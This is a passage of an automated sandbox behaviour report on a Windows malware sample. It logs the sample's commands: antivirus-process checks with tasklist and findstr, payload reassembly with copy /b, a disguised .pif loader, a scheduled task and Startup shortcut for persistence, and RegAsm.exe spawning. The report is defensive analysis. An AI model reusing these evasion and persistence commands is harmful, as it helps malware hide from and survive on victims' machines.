    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exitJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 684126Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "VegetablesIndividualBindingGba" Ever Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wire + ..\Qualified + ..\Manufacturers + ..\Wesley + ..\Haiti + ..\Done + ..\Drop + ..\Runner + ..\Defend + ..\Judy + ..\Dow CJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\684126\Intake.pif Intake.pif CJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /FJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & echo URL="C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & exitJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /FJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"Jump to behavior
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"Jump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: shfolder.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: edputil.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: windows.staterepositoryps.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: appresolver.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: bcp47langs.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: slc.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: sppc.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: onecorecommonproxystub.dllJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: wsock32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: wininet.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: napinsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: pnrpnsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: wshbth.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: nlaapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: winrnr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wsock32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wininet.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wsock32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wininet.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: aclayers.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: mpr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: dwrite.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: textshaping.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: mscoree.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: apphelp.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: aclayers.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: mpr.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: sfc.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: sfc_os.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: kernel.appcore.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: version.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: uxtheme.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: cryptsp.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: rsaenh.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: cryptbase.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: windows.storage.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: wldp.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: profapi.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: dwrite.dll
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeSection loaded: textshaping.dll
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeStatic file information: File size 1414800 > 1048576
    Source: Binary string: RegAsm.pdb source: RegAsm.exe, 0000001A.00000000.3138021219.0000000000CC2000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.10.dr
    Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 0000001A.00000000.3138021219.0000000000CC2000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.10.dr
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00405BBF GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00405BBF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00338B75 push ecx; ret 18_2_00338B88
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00338B75 push ecx; ret 20_2_00338B88

    Persistence and Installation Behavior

    barindex
    Drops PE files with a suspicious file extension
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\684126\Intake.pifJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifFile created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifFile created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to dropped file
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\684126\Intake.pifJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifFile created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifJump to dropped file

    Boot Survival

    barindex
    Uses schtasks.exe or at.exe to add and modify task schedules
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.urlJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.urlJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003959B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,18_2_003959B3
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00325EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,18_2_00325EDA
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003959B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,20_2_003959B3
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00325EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,20_2_00325EDA
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003333B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,18_2_003333B7
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
